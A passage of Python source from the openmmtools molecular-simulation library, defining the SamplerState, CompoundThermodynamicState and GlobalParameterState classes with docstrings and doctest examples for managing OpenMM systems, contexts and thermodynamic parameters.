thermostat and barostat to the given temperature. The thermostat temperature is set, or a new AndersenThermostat is added if it doesn't exist. Parameters ---------- system : openmm.System The system to modify. temperature : openmm.unit.Quantity The temperature for the thermostat. """ thermostat = cls._find_thermostat(system) if thermostat is None: thermostat = openmm.AndersenThermostat(temperature, 1.0/unit.picosecond) system.addForce(thermostat) else: thermostat.setDefaultTemperature(temperature) barostat = cls._find_barostat(system) if barostat is not None: cls._set_barostat_temperature(barostat, temperature) # ------------------------------------------------------------------------- # Internal-usage: initialization # ------------------------------------------------------------------------- @staticmethod def _compute_reduced_potential(potential_energy, temperature, volume, pressure, area_xy=None, surface_tension=None): """Convert potential energy into reduced potential.""" beta = 1.0 / (unit.BOLTZMANN_CONSTANT_kB * temperature) reduced_potential = potential_energy / unit.AVOGADRO_CONSTANT_NA if pressure is not None: reduced_potential += pressure * volume if area_xy is not None and surface_tension is not None: reduced_potential -= surface_tension * area_xy return beta * reduced_potential def _find_force_groups_to_update(self, context, thermodynamic_state, memo): """Find the force groups to be recomputed when moving to the given state. With the current implementation of ThermodynamicState, no force group has to be recomputed as only temperature and pressure change between compatible states, but this method becomes essential in CompoundThermodynamicState. """ return set() # ============================================================================= # SAMPLER STATE # ============================================================================= class SamplerState(object): """State carrying the configurational properties of a system. Represent the portion of the state of a Context that changes with integration. When initialized through the normal constructor, the object is only partially defined as the energy attributes are None until the SamplerState is updated with update_from_context. The state can still be applied to a newly created context to set its positions, velocities and box vectors. To initialize all attributes, use the alternative constructor from_context. Parameters ---------- positions : Nx3 openmm.unit.Quantity Position vectors for N particles (length units). velocities : Nx3 openmm.unit.Quantity, optional Velocity vectors for N particles (velocity units). box_vectors : 3x3 openmm.unit.Quantity Current box vectors (length units). Attributes ---------- positions velocities box_vectors : 3x3 openmm.unit.Quantity. Current box vectors (length units). potential_energy kinetic_energy total_energy volume n_particles collective_variables Examples -------- >>> from openmmtools import testsystems >>> toluene_test = testsystems.TolueneVacuum() >>> sampler_state = SamplerState(toluene_test.positions) At this point only the positions are defined >>> sampler_state.velocities is None True >>> sampler_state.total_energy is None True but it can still be used to set up a context >>> temperature = 300.0*unit.kelvin >>> thermodynamic_state = ThermodynamicState(toluene_test.system, temperature) >>> integrator = openmm.VerletIntegrator(1.0*unit.femtosecond) >>> context = thermodynamic_state.create_context(integrator) >>> sampler_state.apply_to_context(context) # Set initial positions. A SamplerState cannot be updated by an incompatible context which here is defined as having the same number of particles >>> hostguest_test = testsystems.HostGuestVacuum() >>> incompatible_state = ThermodynamicState(hostguest_test.system, temperature) >>> integrator2 = openmm.VerletIntegrator(1.0*unit.femtosecond) >>> incompatible_context = incompatible_state.create_context(integrator2) >>> incompatible_context.setPositions(hostguest_test.positions) >>> sampler_state.is_context_compatible(incompatible_context) False >>> sampler_state.update_from_context(incompatible_context) Traceback (most recent call last): ... openmmtools.states.SamplerStateError: Specified positions with inconsistent number of particles. Create a new SamplerState instead >>> sampler_state2 = SamplerState.from_context(context) >>> sampler_state2.potential_energy is not None True It is possible to slice a sampler state to obtain positions and particles of a subset of atoms >>> sliced_sampler_state = sampler_state[:10] >>> sliced_sampler_state.n_particles 10 """ # ------------------------------------------------------------------------- # Public interface # ------------------------------------------------------------------------- def __init__(self, positions, velocities=None, box_vectors=None): # Allocate variables, they get set in _initialize self._positions = None self._velocities = None self._box_vectors = None self._collective_variables = None self._kinetic_energy = None self._potential_energy = None args = [] for input in [positions, velocities, box_vectors]: if isinstance(input, unit.Quantity) and not isinstance(input._value, np.ndarray): args.append(np.array(input/input.unit)*input.unit) else: args.append(copy.deepcopy(input)) self._initialize(*args) @classmethod def from_context(cls, context_state, ignore_collective_variables=False): """Alternative constructor. Read all the configurational properties from a Context object or an OpenMM State object. This guarantees that all attributes (including energy attributes) are initialized. Parameters ---------- context_state : openmm.Context or openmm.State The object to read. If a State object, it must contain information about positions, velocities and energy. ignore_collective_variables : bool, optional If True, the collective variables are not updated from the Context, and will be invalidated. If a State is passed in, this raises an error if False, otherwise, it would be ambiguous between a State tied to a System with collective variables, and one without. Returns ------- sampler_state : SamplerState A new SamplerState object. """ sampler_state = cls([]) sampler_state._read_context_state(context_state, check_consistency=False, ignore_positions=False, ignore_velocities=False, ignore_collective_variables=ignore_collective_variables) return sampler_state @property def positions(self): """Particle positions. An Nx3 openmm.unit.Quantity object, where N is the number of particles. Raises ------ SamplerStateError If set to an array with a number of particles different than n_particles. """ return self._positions @positions.setter def positions(self, value): self._set_positions(value, from_context=False, check_consistency=True) @property def velocities(self): """Particle velocities. An Nx3 openmm.unit.Quantity object, where N is the number of particles. Raises ------ SamplerStateError If set to an array with a number of particles different than n_particles. """ return self._velocities @velocities.setter def velocities(self, value): self._set_velocities(value, from_context=False) @property def box_vectors(self): """Box vectors. An 3x3 openmm.unit.Quantity object. """ return self._box_vectors @box_vectors.setter def box_vectors(self, value): # Make sure this is a Quantity. System.getDefaultPeriodicBoxVectors # returns a list of Quantity objects instead for example. if value is not None and not isinstance(value, unit.Quantity): value = unit.Quantity(value) self._box_vectors = value # Derived properties @property def potential_energy(self): """openmm.unit.Quantity or None: Potential energy of this configuration.""" if self._are_positions_valid: return None return self._potential_energy @potential_energy.setter def potential_energy(self, new_value): if new_value is not None: raise AttributeError("Cannot set potential energy as it is a function of Context") self._potential_energy = None @property def kinetic_energy(self): """openmm.unit.Quantity or None: Kinetic energy of this configuration.""" if self.velocities is None or self.velocities.has_changed: return None return self._kinetic_energy @kinetic_energy.setter def kinetic_energy(self, new_value): if new_value is not None: raise AttributeError("Cannot set kinetic energy as it is a function of Context") self._kinetic_energy = None @property def collective_variables(self): """dict or None: Collective variables for this configuration if present in Context""" if self._are_positions_valid: return None return self._collective_variables @collective_variables.setter def collective_variables(self, new_value): if new_value is not None: raise AttributeError("Cannot set collective variables as it is a function of Context") self._collective_variables = new_value @property def total_energy(self): """The sum of potential and kinetic energy (read-only).""" if self.potential_energy is None or self.kinetic_energy is None: return None return self.potential_energy + self.kinetic_energy @property def volume(self): """The volume of the box (read-only)""" return _box_vectors_volume(self.box_vectors) @property def area_xy(self): """The xy-area of the box (read-only)""" return _box_vectors_area_xy(self.box_vectors) @property def n_particles(self): """Number of particles (read-only).""" return len(self.positions) def is_context_compatible(self, context): """Check compatibility of the given context. The context is compatible if this SamplerState can be applied through apply_to_context. Parameters ---------- context : openmm.Context The context to test. Returns ------- is_compatible : bool True if this SamplerState can be applied to context. See Also -------- SamplerState.apply_to_context """ is_compatible = self.n_particles == context.getSystem().getNumParticles() return is_compatible def update_from_context(self, context_state, ignore_positions=False, ignore_velocities=False, ignore_collective_variables=False): """Read the state from the given Context or State object. The context must be compatible. Use SamplerState.from_context if you want to build a new sampler state from an incompatible. Parameters ---------- context_state : openmm.Context or openmm.State The object to read. If a State, it must contain information on positions, velocities and energies. Collective variables can only be updated from a Context, NOT a State at the moment. ignore_positions : bool, optional If True, the positions (and potential energy) are not updated from the Context. This can cause the SamplerState to no longer be consistent between its variables, so the defaults err on the side of updating everything, if possible. Only use if you know what you are doing. ignore_velocities : bool, optional If True, the velocities (and kinetic energy) are not updated from the Context. This can cause the SamplerState to no longer be consistent between its variables, so the defaults err on the side of updating everything, if possible. Only use if you know what you are doing. ignore_collective_variables : bool, optional If True, the collective variables are not updated from the Context. If a State is passed in, this raises an error if False, otherwise, it would be ambiguous between a State tied to a System with collective variables, and one without. Raises ------ SamplerStateError If the given context is not compatible, or if a State is given without setting ignore_collective_variables """ self._read_context_state(context_state, check_consistency=True, ignore_positions=ignore_positions, ignore_velocities=ignore_velocities, ignore_collective_variables=ignore_collective_variables) def apply_to_context(self, context, ignore_velocities=False): """Set the context state. If velocities and box vectors have not been specified in the constructor, they are not set. Parameters ---------- context : openmm.Context The context to set. ignore_velocities : bool, optional If True, velocities are not set in the Context even if they are defined. This can be useful if you only need to use the Context only to compute energies. """ # NOTE: Box vectors MUST be updated before positions are set. if self.box_vectors is not None: context.setPeriodicBoxVectors(*self.box_vectors) context.setPositions(self._unitless_positions) if self._velocities is not None and not ignore_velocities: context.setVelocities(self._unitless_velocities) def has_nan(self): """Check that energies and positions are finite. Returns ------- True if the potential energy or any of the generalized coordinates are nan. """ if (self.potential_energy is not None and np.isnan(self.potential_energy.value_in_unit(self.potential_energy.unit))): return True if np.any(np.isnan(self._positions)): return True return False def __getitem__(self, item): sampler_state = self.__class__([]) # Handle single index. if np.issubdtype(type(item), np.integer): # Here we don't need to copy since we instantiate a new array. pos_value = self._positions[item].value_in_unit(self._positions.unit) new_positions = unit.Quantity(np.array([pos_value]), self._positions.unit) sampler_state._set_positions(new_positions, from_context=False, check_consistency=False) if self._velocities is not None: vel_value = self._velocities[item].value_in_unit(self._velocities.unit) new_velocities = unit.Quantity(np.array([vel_value]), self._velocities.unit) sampler_state._set_velocities(new_velocities, from_context=False) else: # Assume slice or sequence. # Copy original values to avoid side effects. sampler_state._set_positions(copy.deepcopy(self._positions[item]), from_context=False, check_consistency=False) if self._velocities is not None: sampler_state._set_velocities(copy.deepcopy(self._velocities[item].copy()), from_context=False) # Copy box vectors. sampler_state.box_vectors = copy.deepcopy(self.box_vectors) # Energies/CV's for only a subset of atoms is undefined. sampler_state._potential_energy = None sampler_state._kinetic_energy = None sampler_state._collective_variables = None return sampler_state def __getstate__(self, ignore_velocities=False): """Return a dictionary representation of the state. Parameters ---------- ignore_velocities : bool, optional If True, velocities are not serialized. This can be useful for example to save bandwidth when sending a ``SamplerState`` over the network and velocities are not required (default is False). """ velocities = None if ignore_velocities else self.velocities serialization = dict( positions=self.positions, velocities=velocities, box_vectors=self.box_vectors, potential_energy=self.potential_energy, kinetic_energy=self.kinetic_energy, collective_variables=self.collective_variables ) return serialization def __setstate__(self, serialization, ignore_velocities=False): """Set the state from a dictionary representation. Parameters ---------- ignore_velocities : bool, optional If True and the ``SamplerState`` has already velocities defined, this does not overwrite the velocities. """ if ignore_velocities and '_velocities' in self.__dict__: serialization['velocities'] = self.velocities self._initialize(**serialization) # ------------------------------------------------------------------------- # Internal-usage # ------------------------------------------------------------------------- def _initialize(self, positions, velocities, box_vectors, potential_energy=None, kinetic_energy=None, collective_variables=None): """Initialize the sampler state.""" self._set_positions(positions, from_context=False, check_consistency=False) self.velocities = velocities # Checks consistency and units. self.box_vectors = box_vectors # Make sure box vectors is Quantity. self._potential_energy = potential_energy self._kinetic_energy = kinetic_energy self._collective_variables = collective_variables def _set_positions(self, new_positions, from_context, check_consistency): """Set the positions without checking for consistency.""" if check_consistency and (new_positions is None or len(new_positions) != self.n_particles): raise SamplerStateError(SamplerStateError.INCONSISTENT_POSITIONS) if from_context: self._unitless_positions_cache = new_positions._value assert new_positions.unit == unit.nanometer else: self._unitless_positions_cache = None self._positions = utils.TrackedQuantity(new_positions) # The potential energy changes with different positions. self._potential_energy = None # The CVs change with different positions too self._collective_variables = None def _set_velocities(self, new_velocities, from_context): """Set the velocities.""" if from_context: self._unitless_velocities_cache = new_velocities._value assert new_velocities.unit == unit.nanometer/unit.picoseconds else: if new_velocities is not None and self.n_particles != len(new_velocities): raise SamplerStateError(SamplerStateError.INCONSISTENT_VELOCITIES) self._unitless_velocities_cache = None if new_velocities is not None: new_velocities = utils.TrackedQuantity(new_velocities) self._velocities = new_velocities # The kinetic energy changes with different positions. self._kinetic_energy = None @property def _unitless_positions(self): """Keeps a cache of unitless positions.""" if self._unitless_positions_cache is None or self._positions.has_changed: self._unitless_positions_cache = self.positions.value_in_unit_system(unit.md_unit_system) if self._positions.has_changed: self._positions.has_changed = False self._potential_energy = None return self._unitless_positions_cache @property def _unitless_velocities(self): """Keeps a cache of unitless velocities.""" if self._velocities is None: return None if self._unitless_velocities_cache is None or self._velocities.has_changed: self._unitless_velocities_cache = self._velocities.value_in_unit_system(unit.md_unit_system) if self._velocities.has_changed: self._velocities.has_changed = False self._kinetic_energy = None return self._unitless_velocities_cache def _read_context_state(self, context_state, check_consistency, ignore_positions, ignore_velocities, ignore_collective_variables): """Read the Context state. Parameters ---------- context_state : openmm.Context or openmm.State The object to read. check_consistency : bool If True, raise an error if the context system have a different number of particles than the current state. ignore_positions : bool If True, the positions and potential energy are not updated from the Context. ignore_velocities : bool If True, the velocities and kinetic energy are not updated from the Context. ignore_collective_variables : bool If True, the collective variables are not updated from the Context. If a State is passed in, this raises an error if False, otherwise, it would be ambiguous between a State tied to a System with collective variables, and one without. Raises ------ SamplerStateError If the the context system have a different number of particles than the current state. """ if isinstance(context_state, openmm.Context): system = context_state.getSystem() openmm_state = context_state.getState(getPositions=not ignore_positions, getVelocities=not ignore_velocities, getEnergy=not (ignore_velocities and ignore_positions), enforcePeriodicBox=system.usesPeriodicBoundaryConditions()) else: if not ignore_collective_variables: raise SamplerStateError("State objects must have ignore_collective_variables=True because they " "don't track CV's and would be ambiguous between a System with no " "collective variables.") openmm_state = context_state # We assign positions first, since the velocities # property will check its length for consistency. # Potential energy and kinetic energy must be updated # after positions and velocities or they'll be reset. if not ignore_positions: positions = openmm_state.getPositions(asNumpy=True) self._set_positions(positions, from_context=True, check_consistency=check_consistency) self._potential_energy = openmm_state.getPotentialEnergy() if not ignore_velocities: velocities = openmm_state.getVelocities(asNumpy=True) self._set_velocities(velocities, from_context=True) self._kinetic_energy = openmm_state.getKineticEnergy() self.box_vectors = openmm_state.getPeriodicBoxVectors(asNumpy=True) if not ignore_collective_variables: self._read_collective_variables(context_state) def _read_collective_variables(self, context_state): """ Update the collective variables from the context object Parameters ---------- context_state : openmm.Context The object to read. This only works with Context's for now, but in the future, this may support OpenMM State objects as well. """ # Allows direct key assignment without initializing each key:dict pair collective_variables = collections.defaultdict(dict) system = context_state.getSystem() for force_index, force in enumerate(system.getForces()): try: cv_values = force.getCollectiveVariableValues(context_state) for cv_index in range(force.getNumCollectiveVariables()): cv_name = force.getCollectiveVariableName(cv_index) collective_variables[cv_name][force_index] = cv_values[cv_index] except AttributeError: pass # Trap no variables found (empty dict), return None # Cast defaultdict back to dict self._collective_variables = dict(collective_variables) if collective_variables else None @property def _are_positions_valid(self): """Helper function to reduce this check duplication in multiple properties""" return self.positions is None or self.positions.has_changed # ============================================================================= # COMPOUND THERMODYNAMIC STATE # ============================================================================= class ComposableStateError(Exception): """Error raised by a ComposableState.""" pass class IComposableState(utils.SubhookedABCMeta): """A state composable through CompoundThermodynamicState. Define the interface that needs to be implemented to extend a ThermodynamicState through CompoundThermodynamicState. See Also -------- CompoundThermodynamicState """ @abc.abstractmethod def apply_to_system(self, system): """Set the system to be in this state. This method is called in three situations: 1) On initialization, before standardizing the system. 2) When a new system is set and the argument ``fix_state`` is set to ``True``. 3) When the system is retrieved to convert the standard system into a system in the correct thermodynamic state for the simulation. Parameters ---------- system : openmm.System The system to modify. Raises ------ ComposableStateError If the system is not compatible with the state. """ pass @abc.abstractmethod def check_system_consistency(self, system): """Check if the system is in this state. It raises a ComposableStateError if the system is not in this state. This is called when the ThermodynamicState's system is set with the ``fix_state`` argument set to False. Parameters ---------- system : openmm.System The system to test. Raises ------ ComposableStateError If the system is not consistent with this state. """ pass @abc.abstractmethod def apply_to_context(self, context): """Set the context to be in this state. Parameters ---------- context : openmm.Context The context to set. Raises ------ ComposableStateError If the context is not compatible with the state. """ pass @abc.abstractmethod def _standardize_system(self, system): """Standardize the given system. ThermodynamicState relies on this method to create a standard system that defines compatibility with another state or context. The definition of a standard system is tied to the implementation of apply_to_context. For example, if apply_to_context sets a global parameter of the context, _standardize_system should set the default value of the parameter in the system to a standard value. Parameters ---------- system : openmm.System The system to standardize. Raises ------ ComposableStateError If the system is not compatible with the state. """ pass @abc.abstractmethod def _on_setattr(self, standard_system, attribute_name, old_composable_state): """Check if standard system needs to be updated after a state attribute is set. This callback function is called after an attribute is set (i.e. after __setattr__ is called on this state) or if an attribute whose name starts with "set_" is requested (i.e. if a setter is retrieved from this state through __getattr__). Parameters ---------- standard_system : openmm.System The standard system before setting the attribute. attribute_name : str The name of the attribute that has just been set or retrieved. old_composable_state : IComposableState A copy of the composable state before the attribute was set. Returns ------- need_changes : bool True if the standard system has to be updated, False if no change occurred. Raises ------ ComposableStateError If the attribute change put the system in an inconsistent state. """ pass @abc.abstractmethod def _find_force_groups_to_update(self, context, current_context_state, memo): """Find the force groups whose energy must be recomputed after applying self. This is used to compute efficiently the potential energy of the same configuration in multiple thermodynamic states to minimize the number of force evaluations. Parameters ---------- context : Context The context, currently in `current_context_state`, that will be moved to this state. current_context_state : ThermodynamicState The full thermodynamic state of the given context. This is guaranteed to be compatible with self. memo : dict A dictionary that can be used by the state for memoization to speed up consecutive calls on the same context. Returns ------- force_groups_to_update : set of int The indices of the force groups whose energy must be computed again after applying this state, assuming the context to be in `current_context_state`. """ pass class CompoundThermodynamicState(ThermodynamicState): """Thermodynamic state composed by multiple states. Allows to extend a ThermodynamicState through composition rather than inheritance. The class dynamically inherits from the ThermodynamicState object given in the constructor, and it preserves direct access to all its methods and attributes. It is compatible also with subclasses of ThermodynamicState, but it does not support objects which make use of __slots__. It is the user's responsibility to check that IComposableStates are compatible to each other (i.e. that they do not depend on and/or modify the same properties of the system). If this is not the case, consider merging them into a single IComposableStates. If an IComposableState needs to access properties of ThermodynamicState (e.g. temperature, pressure) consider extending it through normal inheritance. It is not necessary to explicitly inherit from IComposableState for compatibility as long as all abstract methods are implemented. All its attributes and methods will still be directly accessible unless they are masked by the main ThermodynamicState or by a IComposableState that appeared before in the constructor argument composable_states. After construction, changing the original thermodynamic_state or any of the composable_states changes the state of the compound state. Parameters ---------- thermodynamic_state : ThermodynamicState The main ThermodynamicState which holds the OpenMM system. composable_states : list of IComposableState Each element represent a portion of the overall thermodynamic state. Examples -------- Create an alchemically modified system. >>> from openmmtools import testsystems, alchemy >>> factory = alchemy.AbsoluteAlchemicalFactory(consistent_exceptions=False) >>> alanine_vacuum = testsystems.AlanineDipeptideVacuum().system >>> alchemical_region = alchemy.AlchemicalRegion(alchemical_atoms=range(22)) >>> alanine_alchemical_system = factory.create_alchemical_system(reference_system=alanine_vacuum, ... alchemical_regions=alchemical_region) >>> alchemical_state = alchemy.AlchemicalState.from_system(alanine_alchemical_system) AlchemicalState implement the IComposableState interface, so it can be used with CompoundThermodynamicState. All the alchemical parameters are accessible through the compound state. >>> import openmm >>> from openmm import unit >>> thermodynamic_state = ThermodynamicState(system=alanine_alchemical_system, ... temperature=300*unit.kelvin) >>> compound_state = CompoundThermodynamicState(thermodynamic_state=thermodynamic_state, ... composable_states=[alchemical_state]) >>> compound_state.lambda_sterics 1.0 >>> compound_state.lambda_electrostatics 1.0 You can control the parameters in the OpenMM Context in this state by setting the state attributes. >>> compound_state.lambda_sterics = 0.5 >>> integrator = openmm.VerletIntegrator(1.0*unit.femtosecond) >>> context = compound_state.create_context(integrator) >>> context.getParameter('lambda_sterics') 0.5 >>> compound_state.lambda_sterics = 1.0 >>> compound_state.apply_to_context(context) >>> context.getParameter('lambda_sterics') 1.0 """ def __init__(self, thermodynamic_state, composable_states): # Check that composable states expose the correct interface. for composable_state in composable_states: assert isinstance(composable_state, IComposableState) # Copy internal attributes of thermodynamic state. thermodynamic_state = copy.deepcopy(thermodynamic_state) self.__dict__ = thermodynamic_state.__dict__ # Setting self._composable_states signals __setattr__ to start # searching in composable states as well, so this must be the # last new attribute set in the constructor. composable_states = copy.deepcopy(composable_states) self._composable_states = composable_states # This call causes the thermodynamic state standard system # to be standardized also w.r.t. all the composable states. self.set_system(self._standard_system, fix_state=True) def get_system(self, **kwargs): """Manipulate and return the system. With default arguments, this is equivalent as the system property. By setting the arguments it is possible to obtain a modified copy of the system without the thermostat or the barostat. Parameters ---------- remove_thermostat : bool If True, the system thermostat is removed. remove_barostat : bool If True, the system barostat is removed. Returns ------- system : openmm.System The system of this ThermodynamicState. """ system = super(CompoundThermodynamicState, self).get_system(**kwargs) # The system returned by ThermodynamicState has standard parameters, # so we need to set them to the actual value of the composable states. for s in self._composable_states: s.apply_to_system(system) return system def set_system(self, system, fix_state=False): """Allow to set the system and fix its thermodynamic state. With default arguments, this is equivalent to assign the system property, which raise an error if the system is in a different thermodynamic state. Parameters ---------- system : openmm.System The system to set. fix_state : bool, optional The thermodynamic state of the state will be fixed by all the composable states. Default is False. See Also -------- ThermodynamicState.set_system """ system = copy.deepcopy(system) for s in self._composable_states: if fix_state: s.apply_to_system(system) else: s.check_system_consistency(system) super(CompoundThermodynamicState, self)._unsafe_set_system(system, fix_state) def is_context_compatible(self, context): """Check compatibility of the given context. Parameters ---------- context : openmm.Context The OpenMM context to test. Returns ------- is_compatible : bool True if this ThermodynamicState can be applied to context. See Also -------- ThermodynamicState.is_context_compatible """ # We override ThermodynamicState.is_context_compatible to # handle the case in which one of the composable states # raises ComposableStateError when standardizing the context system. try: return super(CompoundThermodynamicState, self).is_context_compatible(context) except ComposableStateError: return False def apply_to_context(self, context): """Apply this compound thermodynamic state to the context. See Also -------- ThermodynamicState.apply_to_context """ super(CompoundThermodynamicState, self).apply_to_context(context) for s in self._composable_states: s.apply_to_context(context) def __getattr__(self, name): def setter_decorator(funcs, composable_states): def _setter_decorator(*args, **kwargs): for func, composable_state in zip(funcs, composable_states): old_state = copy.deepcopy(composable_state) func(*args, **kwargs) self._on_setattr_callback(composable_state, name, old_state) return _setter_decorator # Called only if the attribute couldn't be found in __dict__. # In this case we fall back to composable state, in the given order. attrs = [] composable_states = [] for s in self._composable_states: try: attr = getattr(s, name) except AttributeError: pass else: attrs.append(attr) composable_states.append(s) if len(attrs) > 0: # If this is a setter, we need to set the attribute in all states # and ensure that the callback is called in each of them. if name.startswith('set_'): # Decorate the setter so that _on_setattr is called after the # attribute is modified. This also reduces the calls to multiple # setter to a single function. attr = setter_decorator(attrs, composable_states) else: if len(attrs) > 1 and not all(np.isclose(attrs[0], a) for a in attrs[1:]): raise RuntimeError('The composable states of {} expose the same ' 'attribute with different values: {}'.format( self.__class__.__name__, set(attrs))) attr = attrs[0] return attr # Attribute not found, fall back to normal behavior. return super(CompoundThermodynamicState, self).__getattribute__(name) def __setattr__(self, name, value): # Add new attribute to CompoundThermodynamicState. if '_composable_states' not in self.__dict__: super(CompoundThermodynamicState, self).__setattr__(name, value) # Update existing ThermodynamicState attribute (check ancestors). # We can't use hasattr here because it calls __getattr__, which # search in all composable states as well. This means that this # will catch only properties and methods. elif any(name in C.__dict__ for C in self.__class__.__mro__): super(CompoundThermodynamicState, self).__setattr__(name, value) # Update composable states attributes. This catches also normal # attributes besides properties and methods. else: old_state = None for s in self._composable_states: try: getattr(s, name) except AttributeError: pass else: old_state = copy.deepcopy(s) s.__setattr__(name, value) self._on_setattr_callback(s, name, old_state) # No attribute found. This is monkey patching. if old_state is None: super(CompoundThermodynamicState, self).__setattr__(name, value) def __getstate__(self, **kwargs): """Return a dictionary representation of the state.""" # Create original ThermodynamicState to serialize. thermodynamic_state = object.__new__(self.__class__.__bases__[0]) thermodynamic_state.__dict__ = self.__dict__ # Set the instance _standardize_system method to CompoundState._standardize_system # so that the composable states standardization will be called during serialization. thermodynamic_state._standardize_system = self._standardize_system serialized_thermodynamic_state = utils.serialize(thermodynamic_state, **kwargs) # Serialize composable states. serialized_composable_states = [utils.serialize(state) for state in self._composable_states] return dict(thermodynamic_state=serialized_thermodynamic_state, composable_states=serialized_composable_states) def __setstate__(self, serialization): """Set the state from a dictionary representation.""" serialized_thermodynamic_state = serialization['thermodynamic_state'] serialized_composable_states = serialization['composable_states'] thermodynamic_state = utils.deserialize(serialized_thermodynamic_state) self.__dict__ = thermodynamic_state.__dict__ self._composable_states = [utils.deserialize(state) for state in serialized_composable_states] # ------------------------------------------------------------------------- # Internal-usage # ------------------------------------------------------------------------- def _standardize_system(self, system): """Standardize the system. Override ThermodynamicState._standardize_system to standardize the system also with respect to all other composable states. Raises ------ ComposableStateError If it is impossible to standardize the system. See Also -------- ThermodynamicState._standardize_system """ super(CompoundThermodynamicState, self)._standardize_system(system) for composable_state in self._composable_states: composable_state._standardize_system(system) def _on_setattr_callback(self, composable_state, attribute_name, old_composable_state): """Updates the standard system (and hash) after __setattr__.""" try: change_standard_system = composable_state._on_setattr(self._standard_system, attribute_name, old_composable_state) except TypeError: change_standard_system = composable_state._on_setattr(self._standard_system, attribute_name) # TODO Drop support for the old signature and remove deprecation warning from 0.17 on. import warnings old_signature = '_on_setattr(self, standard_system, attribute_name)' new_signature = old_signature[:-1] + ', old_composable_state)' warnings.warn('The signature IComposableState.{} has been deprecated, ' 'and future versions of openmmtools will support only the ' 'new one: {}.'.format(old_signature, new_signature)) if change_standard_system: new_standard_system = copy.deepcopy(self._standard_system) composable_state.apply_to_system(new_standard_system) composable_state._standardize_system(new_standard_system) self._update_standard_system(new_standard_system) def _apply_to_context_in_state(self, context, thermodynamic_state): super(CompoundThermodynamicState, self)._apply_to_context_in_state(context, thermodynamic_state) for s in self._composable_states: s.apply_to_context(context) def _find_force_groups_to_update(self, context, current_context_state, memo): """Find the force groups to be recomputed when moving to the given state. Override ThermodynamicState._find_force_groups_to_update to find groups to update for changes of composable states. """ # Initialize memo: create new cache for each composable state. if len(memo) == 0: memo.update({i: {} for i in range(len(self._composable_states))}) # Find force group to update for parent class. force_groups = super(CompoundThermodynamicState, self)._find_force_groups_to_update( context, current_context_state, memo) # Find force group to update for composable states. for composable_state_idx, composable_state in enumerate(self._composable_states): force_groups.update(composable_state._find_force_groups_to_update( context, current_context_state, memo[composable_state_idx])) return force_groups # ============================================================================= # GLOBAL PARAMETER STATE # ============================================================================= class GlobalParameterError(ComposableStateError): """Exception raised by ``GlobalParameterState``.""" pass class GlobalParameterFunction(object): """A function of global parameters. All the functions supported by ``openmmtools.utils.math_eval`` are supported. Parameters ---------- expression : str A mathematical expression involving global parameters. See Also -------- openmmtools.utils.math_eval Examples -------- >>> class MyComposableState(GlobalParameterState): ... gamma = GlobalParameterState.GlobalParameter('gamma', standard_value=1.0) ... lambda_angles = GlobalParameterState.GlobalParameter('lambda_angles', standard_value=1.0) ... >>> composable_state = MyComposableState(gamma=1.0, lambda_angles=0.5) >>> composable_state.set_function_variable('lambda', 0.5) >>> composable_state.set_function_variable('lambda2', 1.0) >>> composable_state.gamma = GlobalParameterFunction('lambda**2') >>> composable_state.gamma 0.25 >>> composable_state.lambda_angles = GlobalParameterFunction('(lambda + lambda2) / 2') >>> composable_state.lambda_angles 0.75 >>> composable_state.set_function_variable('lambda2', 0.5) >>> composable_state.lambda_angles 0.5 """ def __init__(self, expression): self._expression = expression def __call__(self, variables): return utils.math_eval(self._expression, variables) class GlobalParameterState(object): """A composable state controlling one or more OpenMM ``Force``'s global parameters. This is a partially abstract class that provides facilities to implement composable states that control one or more global parameters defined in OpenMM ``Force`` objects. Global parameters are implemented through the use of the ``GlobalParameterState.GlobalParameter`` descriptor. A ``Force`` object can use one or more global parameters that are controlled by the same state. Conversely, multiple ``Force``s can use the same global parameter (i.e. with the same name) controlled by the state object. It is possible to enslave the global parameters to one or more arbitrary variables entering a mathematical expression through the use of ``GlobalParameterFunction``. Global parameters that are associated to a global parameter function are validated on get rather than on set. Parameters ---------- parameters_name_suffix : str, optional If specified, the state will control a modified version of the global parameters with the name ``parameter_name + '_' + parameters_name_suffix``. When this is the case, the normal parameters are not accessible. **kwargs The value of the parameters controlled by this state. Parameters that are not passed here are left undefined. Notes ----- The class automatically implement the static constructor ``from_system`` that reads and create a state object from an OpenMM ``System``. The function calls ``__init__`` and passes the parameter name suffix string as the first positional argument, so it is possible to overwrite ``__init__`` and rename ``parameters_name_suffix`` as long as it is the first parameter of the constructor. See Also -------- GlobalParameterFunction Examples -------- Assume we have a ``System`` with a custom force object whose energy function is controlled by two global variables called ``lambda_bonds`` and ``gamma``. >>> import openmm >>> from openmm import unit >>> # Define a diatomic molecule. >>> system = openmm.System() >>> particle_idx = system.addParticle(40.0*unit.amu) >>> particle_idx = system.addParticle(40.0*unit.amu) >>> custom_force = openmm.CustomBondForce('lambda_bonds^gamma*60000*(r-0.15)^2;') >>> parameter_idx = custom_force.addGlobalParameter('lambda_bonds', 1.0) # Default value is 1.0. >>> parameter_idx = custom_force.addGlobalParameter('gamma', 1.0) # Default value is 1.0. >>> bond_idx = custom_force.addBond(0, 1, []) >>> force_index = system.addForce(custom_force) >>> # Create a thermodynamic state object controlling the temperature of the system. >>> thermodynamic_state = ThermodynamicState(system, temperature=300.0*unit.kelvin) Define a composable state controlling the two global parameters ``gamma`` and ``lambda_bonds``, both with standard state value 0.0. Parameters that are not specified in the constructor are left undefined. >>> class MyComposableState(GlobalParameterState): ... gamma = GlobalParameterState.GlobalParameter('gamma', standard_value=1.0) ... lambda_bonds = GlobalParameterState.GlobalParameter('lambda_bonds', standard_value=1.0) ... >>> my_composable_state = MyComposableState(gamma=1.0) >>> my_composable_state.gamma 1.0 >>> my_composable_state.lambda_bonds is None True There is a second static constructor you can use to read the state of an OpenMM ``System`` from the default values of its force parameters. >>> my_composable_state = MyComposableState.from_system(system) >>> my_composable_state.lambda_bonds 1.0 >>> my_composable_state.gamma 1.0 Optionally, you can limit the values that a global parameter can assume. In this case, ``lambda_bonds`` is forced to be between 0.0 and 1.0. >>> class MyComposableState(GlobalParameterState): ... gamma = GlobalParameterState.GlobalParameter('gamma', standard_value=0.0) ... lambda_bonds = GlobalParameterState.GlobalParameter('lambda_bonds', standard_value=0.0) ... @lambda_bonds.validator ... def lambda_bonds(self, instance, new_value): ... if new_value is not None and not (0.0 <= new_value <= 1.0): ... raise ValueError('lambda_bonds must be between 0.0 and 1.0') ... return new_value ... >>> my_composable_state = MyComposableState(gamma=1.0) >>> my_composable_state.lambda_bonds = 2.0 Traceback (most recent call last): ... ValueError: lambda_bonds must be between 0.0 and 1.0 You can then add it to a ``CompoundThermodynamicState`` to manipulate OpenMM ``System`` and ``Context`` objects. 